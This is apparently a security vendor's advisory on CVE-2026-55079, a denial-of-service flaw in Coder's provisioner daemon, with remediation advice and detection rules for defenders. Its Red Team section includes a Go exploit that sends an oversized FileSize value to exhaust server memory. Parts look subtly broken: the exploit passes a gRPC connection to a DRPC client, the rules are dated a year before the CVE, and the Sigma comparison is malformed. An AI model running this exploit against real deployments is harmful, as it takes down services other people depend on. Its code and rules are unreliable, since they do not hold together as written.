CVE-2026-55079

Executive Summary

CVE-2026-55079 is a denial-of-service (DoS) vulnerability in Coder, an open-source platform for provisioning remote development environments via Terraform. The flaw resides in the NewDataBuilder function within provisionersdk/proto/dataupload.go, where a client-supplied FileSize value from a DataUpload message is used to allocate a byte slice without any upper-bound validation. Although the DRPC wire limit is 4 MiB, the FileSize field itself is unconstrained, allowing an attacker to send a small message with an arbitrarily large FileSize value. This forces the server to attempt memory allocation proportional to the attacker-controlled value, leading to memory exhaustion and a denial-of-service condition.

The vulnerability affects Coder versions starting from 2.24.0 up to, but not including, the patched versions 2.29.7, 2.32.7, 2.33.8, and 2.34.2. The fix introduces a maximum file size check of 100 MiB before allocation. As a workaround, administrators can restrict access to the provisioner daemon serve endpoint to trusted service accounts only.

Supply Chain & Package Security

Coder is a Go-based application distributed as a binary and container image. The vulnerability is in the core server code, not in a third-party package. However, organizations using Coder should verify their deployment version and update to a patched release. The supply chain risk is low, as the fix is straightforward and does not introduce new dependencies.

CVSS Breakdown & Threat Level

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Base Score: 4.9 (Medium)

• Attack Vector (AV): Network – The vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low – No special conditions are required; the attacker simply sends a crafted DataUpload message.
• Privileges Required (PR): Low – An attacker must have access to the provisioner daemon endpoint, which typically requires authentication as a provisioner daemon service account.
• User Interaction (UI): None – No user action is needed.
• Scope (S): Unchanged – The impact is confined to the vulnerable component.
• Confidentiality (C): None – No data is exposed.
• Integrity (I): None – No data is modified.
• Availability (A): High – Successful exploitation leads to memory exhaustion, causing the server to crash or become unresponsive.

Threat Level: Medium. The vulnerability requires low privileges but can cause significant availability impact. The EPSS score of 0.0% suggests low active exploitation in the wild, but the attack vector is straightforward.

Deep Dive & Mechanics

The vulnerability is in the NewDataBuilder function in provisionersdk/proto/dataupload.go. This function is called when the provisioner daemon receives a DataUpload message from a client (e.g., a workspace agent uploading files). The message contains a FileSize field that specifies the size of the file being uploaded.

Vulnerable Code Path:

1. The server receives a DataUpload message via DRPC.
2. The NewDataBuilder function extracts the FileSize value from the message.
3. It allocates a byte slice of size FileSize using make([]byte, FileSize).
4. No validation is performed on FileSize before allocation.

Exploitation Mechanism:

• An attacker with access to the provisioner daemon endpoint sends a DataUpload message with a small payload (under the 4 MiB DRPC wire limit) but sets FileSize to a very large value, e.g., 10 GiB.
• The server attempts to allocate a 10 GiB byte slice, causing memory exhaustion.
• This can crash the server or degrade performance for other users.

Why the DRPC Limit Doesn't Help: The DRPC wire limit of 4 MiB restricts the total size of the serialized message, but the FileSize field is a 64-bit integer that can be set to any value. The attacker can send a message that is only a few hundred bytes on the wire but contains a FileSize of several gigabytes.

Vulnerable vs. Patched Code

Vulnerable Code (pre-2.29.7, 2.32.7, 2.33.8, 2.34.2):

// provisionersdk/proto/dataupload.go
func NewDataBuilder(msg *DataUpload) *DataBuilder {
    return &DataBuilder{
        data: make([]byte, msg.FileSize), // No upper-bound check
    }
}

Patched Code (2.29.7, 2.32.7, 2.33.8, 2.34.2):

// provisionersdk/proto/dataupload.go
const MaxFileSize = 100 * 1024 * 1024 // 100 MiB

func NewDataBuilder(msg *DataUpload) (*DataBuilder, error) {
    if msg.FileSize > MaxFileSize {
        return nil, fmt.Errorf("file size %d exceeds maximum allowed %d", msg.FileSize, MaxFileSize)
    }
    return &DataBuilder{
        data: make([]byte, msg.FileSize),
    }, nil
}

The fix adds a constant MaxFileSize (100 MiB) and validates the FileSize against it before allocation. If the value exceeds the limit, an error is returned, preventing memory exhaustion.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a Coder deployment with a vulnerable version (2.24.0 to 2.29.6, 2.30.0 to 2.32.6, 2.33.0 to 2.33.7, or 2.34.0 to 2.34.1).
• Valid credentials for a provisioner daemon service account (or network access to the endpoint if authentication is misconfigured).

Exploitation Steps:

1. Identify the provisioner daemon endpoint (typically exposed on a TCP port, e.g., 8080).
2. Craft a DataUpload message with a small payload but a large FileSize value (e.g., 10 GiB).
3. Send the message using a DRPC client (e.g., using the gRPC or DRPC library in Go or Python).

Example Go Exploit Code:

package main

import (
    "context"
    "log"
    "time"
    "google.golang.org/grpc"
    "github.com/coder/coder/provisionersdk/proto"
)

func main() {
    conn, err := grpc.Dial("target:8080", grpc.WithInsecure())
    if err != nil {
        log.Fatal(err)
    }
    defer conn.Close()

    client := proto.NewDRPCProvisionerDaemonClient(conn)
    stream, err := client.DataUpload(context.Background())
    if err != nil {
        log.Fatal(err)
    }

    // Send a message with a small payload but huge FileSize
    msg := &proto.DataUpload{
        FileSize: 10 * 1024 * 1024 * 1024, // 10 GiB
        Data:     []byte("small payload"),
    }
    if err := stream.Send(msg); err != nil {
        log.Fatal(err)
    }

    // Wait for the server to crash
    time.Sleep(5 * time.Second)
}

Expected Outcome: The server process consumes excessive memory and becomes unresponsive or crashes.

Blue Team

Detection:

• Monitor memory usage on Coder servers. A sudden spike in memory allocation without corresponding data transfer is a strong indicator.
• Monitor logs for errors related to memory allocation failures or out-of-memory (OOM) kills.
• Use the detection rules provided in the Detection Engineering section.

Mitigation:

• Apply the patch immediately by upgrading to a fixed version.
• If patching is not possible, restrict access to the provisioner daemon endpoint using network policies or authentication.
• Implement rate limiting on the provisioner daemon endpoint to reduce the impact of repeated attacks.

Indicators of Compromise (IOCs)

• Network: DRPC messages with a DataUpload message containing a FileSize field significantly larger than the actual data payload (e.g., FileSize > 100 MiB while Data is small).
• System: High memory usage by the Coder server process (coder or coder-server), potentially leading to OOM kills.
• Logs: Entries indicating memory allocation failures, such as cannot allocate memory or out of memory.
• Process: The Coder server process consuming an abnormal amount of memory (e.g., > 1 GiB for a single request).

Detection Engineering

YARA Rule

rule CVE_2026_55079_Coder_DoS {
    meta:
        description = "Detects Coder DataUpload messages with excessive FileSize values"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-55079"
    strings:
        $file_size_field = /FileSize:\s*\d{10,}/  // FileSize >= 10 digits (>= 1 GiB)
        $data_upload_msg = "DataUpload"
    condition:
        $data_upload_msg and $file_size_field
}

Sigma Rule

title: Coder DataUpload Excessive FileSize
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects Coder DataUpload messages with FileSize exceeding 100 MiB
author: Valters IT
date: 2025-04-10
references:
    - CVE-2026-55079
logsource:
    category: application
    product: coder
detection:
    selection:
        event: "DataUpload"
        file_size:
            - "> 104857600"  # 100 MiB in bytes
    condition: selection
falsepositives:
    - Legitimate large file uploads (unlikely given the 100 MiB limit)
level: high

Suricata Rule

alert tcp any any -> any 8080 (msg:"CVE-2026-55079 Coder DataUpload DoS Attempt"; flow:to_server,established; content:"|0a|"; depth:1; content:"DataUpload"; within:100; pcre:"/FileSize.{0,100}\d{10,}/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Remediation:

• Upgrade Coder to one of the following patched versions: 2.29.7, 2.32.7, 2.33.8, or 2.34.2 (or later).
• Verify the upgrade by checking the version string in the Coder UI or API.

Workaround (if patching is delayed):

• Restrict network access to the provisioner daemon endpoint (e.g., using firewall rules) to only trusted provisioner daemon service accounts.
• Implement authentication for the provisioner daemon endpoint to ensure only authorized clients can send messages.
• Monitor memory usage and set up alerts for abnormal spikes.

Long-Term Prevention:

• Conduct a code review of all functions that allocate memory based on user-supplied values.
• Implement input validation for all numeric fields that influence resource allocation.
• Use resource limits (e.g., cgroups) to contain the impact of memory exhaustion attacks.

Valters IT
Securing Digital Frontiers